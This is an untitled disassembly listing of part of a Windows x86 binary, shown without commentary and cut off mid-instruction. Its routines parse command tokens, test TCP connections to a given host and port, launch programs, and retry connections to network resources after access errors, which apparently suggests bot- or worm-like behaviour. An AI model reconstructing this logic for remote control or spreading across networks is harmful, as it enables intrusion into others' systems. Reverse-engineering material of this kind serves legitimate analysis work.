CODE XREF: ___:00401569j mov al, [esp+4] cmp al, 20h jz short loc_41BC2F cmp al, 9 jz short loc_41BC2F xor al, al retn ; --------------------------------------------------------------------------- loc_41BC2F: ; CODE XREF: ___:0041BC26j ; ___:0041BC2Aj mov al, 1 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: ___:00401ED8j mov eax, [esp+4] push offset dword_443E8C push eax nop call near ptr 77C3F010h add esp, 8 test eax, eax jz short loc_41BC74 push eax nop call near ptr 77C40AB1h add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_41BC74: ; CODE XREF: ___:0041BC65j xor al, al retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BC90 proc near ; CODE XREF: sub_401479j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = byte ptr -20h arg_0 = dword ptr 4 sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+40h+arg_0] test edi, edi jz loc_41BEEE mov esi, offset byte_446F70 mov eax, edi loc_41BCAA: ; CODE XREF: sub_41BC90+3Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BCD2 test cl, cl jz short loc_41BCCE mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BCD2 add eax, 2 add esi, 2 test cl, cl jnz short loc_41BCAA loc_41BCCE: ; CODE XREF: sub_41BC90+26j xor eax, eax jmp short loc_41BCD7 ; --------------------------------------------------------------------------- loc_41BCD2: ; CODE XREF: sub_41BC90+22j ; sub_41BC90+32j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BCD7: ; CODE XREF: sub_41BC90+40j test eax, eax jz loc_41BEEE push 20h lea eax, [esp+44h+var_20] push edi push eax nop call near ptr 77C47A90h mov edi, dword_50FAF4 lea ecx, [esp+4Ch+var_20] push offset dword_443DD4 push ecx call edi ; strtok add esp, 14h mov [esp+40h+var_30], eax test eax, eax jz loc_41BEEE mov ebx, 1 lea esi, [esp+40h+var_2C] loc_41BD17: ; CODE XREF: sub_41BC90+A4j push offset dword_443DD4 push 0 call edi ; strtok add esp, 8 mov [esi], eax test eax, eax jz loc_41BEEE inc ebx add esi, 4 cmp ebx, 4 jl short loc_41BD17 mov ebp, [esp+40h+var_30] mov esi, offset dword_443EA8 mov eax, ebp loc_41BD41: ; CODE XREF: sub_41BC90+D3j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BD69 test dl, dl jz short loc_41BD65 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BD69 add eax, 2 add esi, 2 test dl, dl jnz short loc_41BD41 loc_41BD65: ; CODE XREF: sub_41BC90+BDj xor eax, eax jmp short loc_41BD6E ; --------------------------------------------------------------------------- loc_41BD69: ; CODE XREF: sub_41BC90+B9j ; sub_41BC90+C9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BD6E: ; CODE XREF: sub_41BC90+D7j test eax, eax jnz short loc_41BD7C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BD7C: ; CODE XREF: sub_41BC90+E0j mov esi, offset dword_443EA4 mov eax, ebp loc_41BD83: ; CODE XREF: sub_41BC90+115j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BDAB test dl, dl jz short loc_41BDA7 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BDAB add eax, 2 add esi, 2 test dl, dl jnz short loc_41BD83 loc_41BDA7: ; CODE XREF: sub_41BC90+FFj xor eax, eax jmp short loc_41BDB0 ; --------------------------------------------------------------------------- loc_41BDAB: ; CODE XREF: sub_41BC90+FBj ; sub_41BC90+10Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BDB0: ; CODE XREF: sub_41BC90+119j mov edi, [esp+40h+var_2C] test eax, eax jnz short loc_41BDFA mov esi, offset dword_443EA0 mov edx, edi loc_41BDBF: ; CODE XREF: sub_41BC90+151j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BDE7 test bl, bl jz short loc_41BDE3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BDE7 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BDBF loc_41BDE3: ; CODE XREF: sub_41BC90+13Bj xor edx, edx jmp short loc_41BDEC ; --------------------------------------------------------------------------- loc_41BDE7: ; CODE XREF: sub_41BC90+137j ; sub_41BC90+147j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BDEC: ; CODE XREF: sub_41BC90+155j test edx, edx jnz short loc_41BDFA pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BDFA: ; CODE XREF: sub_41BC90+126j ; sub_41BC90+15Ej mov esi, offset dword_443E9C mov edx, ebp loc_41BE01: ; CODE XREF: sub_41BC90+193j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BE29 test bl, bl jz short loc_41BE25 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BE29 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BE01 loc_41BE25: ; CODE XREF: sub_41BC90+17Dj xor edx, edx jmp short loc_41BE2E ; --------------------------------------------------------------------------- loc_41BE29: ; CODE XREF: sub_41BC90+179j ; sub_41BC90+189j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BE2E: ; CODE XREF: sub_41BC90+197j test edx, edx jnz short loc_41BE74 mov esi, offset dword_443E98 mov edx, edi loc_41BE39: ; CODE XREF: sub_41BC90+1CBj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BE61 test bl, bl jz short loc_41BE5D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BE61 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BE39 loc_41BE5D: ; CODE XREF: sub_41BC90+1B5j xor edx, edx jmp short loc_41BE66 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BC90+1B1j ; sub_41BC90+1C1j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BE66: ; CODE XREF: sub_41BC90+1CFj test edx, edx jnz short loc_41BE74 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BE74: ; CODE XREF: sub_41BC90+1A0j ; sub_41BC90+1D8j mov esi, offset dword_443E94 mov ecx, ebp loc_41BE7B: ; CODE XREF: sub_41BC90+20Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_41BEA3 test dl, dl jz short loc_41BE9F mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_41BEA3 add ecx, 2 add esi, 2 test dl, dl jnz short loc_41BE7B loc_41BE9F: ; CODE XREF: sub_41BC90+1F7j xor ecx, ecx jmp short loc_41BEA8 ; --------------------------------------------------------------------------- loc_41BEA3: ; CODE XREF: sub_41BC90+1F3j ; sub_41BC90+203j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_41BEA8: ; CODE XREF: sub_41BC90+211j test ecx, ecx jnz short loc_41BEEE mov esi, offset dword_443E90 mov eax, edi loc_41BEB3: ; CODE XREF: sub_41BC90+245j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BEDB test cl, cl jz short loc_41BED7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BEDB add eax, 2 add esi, 2 test cl, cl jnz short loc_41BEB3 loc_41BED7: ; CODE XREF: sub_41BC90+22Fj xor eax, eax jmp short loc_41BEE0 ; --------------------------------------------------------------------------- loc_41BEDB: ; CODE XREF: sub_41BC90+22Bj ; sub_41BC90+23Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BEE0: ; CODE XREF: sub_41BC90+249j test eax, eax jnz short loc_41BEEE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BEEE: ; CODE XREF: sub_41BC90+Dj ; sub_41BC90+49j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn sub_41BC90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BFA0 proc near ; CODE XREF: sub_402004j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41C008 cmp esi, 0FFFFFFFFh jz short loc_41C008 mov eax, [esp+18h+arg_0] push eax call near ptr 71AB2BF4h nop mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx nop call near ptr 71AB2B66h lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 nop call near ptr 71AB406Ah test eax, eax jnz short loc_41BFF9 mov bl, 1 loc_41BFF9: ; CODE XREF: sub_41BFA0+55j push esi nop call near ptr 71AB9639h mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41C008: ; CODE XREF: sub_41BFA0+18j ; sub_41BFA0+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_41BFA0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C030 proc near ; CODE XREF: sub_401299j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset aOpen ; "open" push 0 call near ptr 7CA41110h nop cmp eax, 20h setnl al retn sub_41C030 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_402149j var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h nop call near ptr 27E0617h test eax, eax setnle al pop edi add esp, 54h retn sub_41C070 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C0E0: ; CODE XREF: ___:00401875j sub esp, 354h mov eax, off_443EB4 mov ecx, dword_443EB8 mov [esp+0], eax mov al, byte_446F70 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_443EBC rep stosd mov ecx, off_443EAC mov [esp+10h], edx mov dx, word_443EB0 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi nop call near ptr 2790000h mov esi, dword_50FAAC lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat mov esi, [esp+374h] add esp, 10h lea eax, [esp+12Ch] push edi push offset dword_50BB8C push offset dword_50BB8C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call sub_436FA8 ; --------------------------------------------------------------------------- cmp eax, 5 jz short loc_41C1C8 cmp eax, 4C3h jnz short loc_41C1D1 loc_41C1C8: ; CODE XREF: ___:0041C1BFj push edi push edi push edi push esi call sub_436FA8 ; --------------------------------------------------------------------------- loc_41C1D1: ; CODE XREF: ___:0041C1C6j pop edi cmp eax, 5 pop esi jz short loc_41C1E8 cmp eax, 4C3h jz short loc_41C1E8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_41C1E8: ; CODE XREF: ___:0041C1D6j ; ___:0041C1DDj xor al, al add esp, 354h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C250: ; CODE XREF: ___:00401EC9j sub esp, 354h mov eax, off_443EB4 mov ecx, dword_443EB8 mov [esp+0], eax mov al, byte_446F70 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_443EBC rep stosd mov ecx, off_443EAC mov [esp+10h], edx mov dx, word_443EB0 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] push eax push 0FFFFFFFFh push ecx push 0 push 0 call near ptr 2790000h nop mov esi, dword_50FAAC lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat add esp, 10h lea eax, [esp+12Ch] push 0 push 0 push eax call sub_436FAE ; --------------------------------------------------------------------------- test eax, eax jz short loc_41C338 mov esi, dword_50F8D0 loc_41C31C: ; CODE XREF: ___:0041C336j push 7D0h call esi push 0 lea ecx, [esp+130h] push 0 push ecx call sub_436FAE ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41C31C loc_41C338: ; CODE XREF: ___:0041C314j pop edi mov al, 1 pop esi add esp, 354h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41C390 proc near ; CODE XREF: sub_401D7Fj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C390 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_41C390 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+24h] push 6 push edx call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+118h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+20h] push 6 push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 4 push 4Fh push 10h push 14h push 14h lea eax, [esp+24h] push 8 push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+28h] push 8 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 push eax lea eax, [esi+60h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 4Fh push 10h push 14h push 14h lea ecx, [esp+4Ch] push 8 push ecx call sub_4019B5 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017E4 add esi, 32h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C610 proc near ; CODE XREF: sub_401064j var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_94 = byte ptr -94h var_7C = byte ptr -7Ch var_67 = byte ptr -67h var_52 = byte ptr -52h var_3D = byte ptr -3Dh var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41C610 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_401424 lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_401424 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401424 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401424 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401424 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401B36 mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_4017E4 push eax mov ecx, edi call sub_4012EE lea ecx, [ebp+4] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_41C83C push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 6 push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C94 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 7 call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 8 jz short loc_41C7CC mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41C7CE ; --------------------------------------------------------------------------- loc_41C7CC: ; CODE XREF: sub_41C610+1AFj xor edi, edi loc_41C7CE: ; CODE XREF: sub_41C610+1BAj lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013D4 loc_41C83C: ; CODE XREF: sub_41C610+C0j lea ecx, [ebp+60h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41C9BB push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 9 push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C94 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Ah call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Bh jz short loc_41C94B mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41C94D ; --------------------------------------------------------------------------- loc_41C94B: ; CODE XREF: sub_41C610+32Ej xor edi, edi loc_41C94D: ; CODE XREF: sub_41C610+339j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FBE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013D4 loc_41C9BB: ; CODE XREF: sub_41C610+23Fj lea ecx, [ebp+32h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CBF6 push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 0Ch push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C94 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Dh call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 3 push eax mov ecx, esi call sub_4016AE push offset word_44759A mov ecx, eax mov byte ptr [esp+128h+var_4], 0Eh call sub_401B72 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41CB5E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D212 ; --------------------------------------------------------------------------- loc_41CB5E: ; CODE XREF: sub_41C610+4D6j push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Fh jz short loc_41CB86 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CB88 ; --------------------------------------------------------------------------- loc_41CB86: ; CODE XREF: sub_41C610+569j xor edi, edi loc_41CB88: ; CODE XREF: sub_41C610+574j lea ecx, [esp+124h+var_10C] mov byte ptr [esp+124h+var_4], bl push ecx lea ecx, [edi+11h] call sub_401FBE lea edx, [esp+124h+var_DC] lea ecx, [edi+26h] push edx call sub_401FBE lea eax, [esp+124h+var_C4] lea ecx, [edi+65h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CBF6: ; CODE XREF: sub_41C610+3BEj lea ecx, [ebp+0BCh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CD9B push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 10h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 11h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 12h jz short loc_41CD0E mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CD10 ; --------------------------------------------------------------------------- loc_41CD0E: ; CODE XREF: sub_41C610+6F1j xor edi, edi loc_41CD10: ; CODE XREF: sub_41C610+6FCj lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FBE lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FBE lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FBE lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CD9B: ; CODE XREF: sub_41C610+5FCj lea ecx, [ebp+118h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CF40 push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 13h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 14h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call 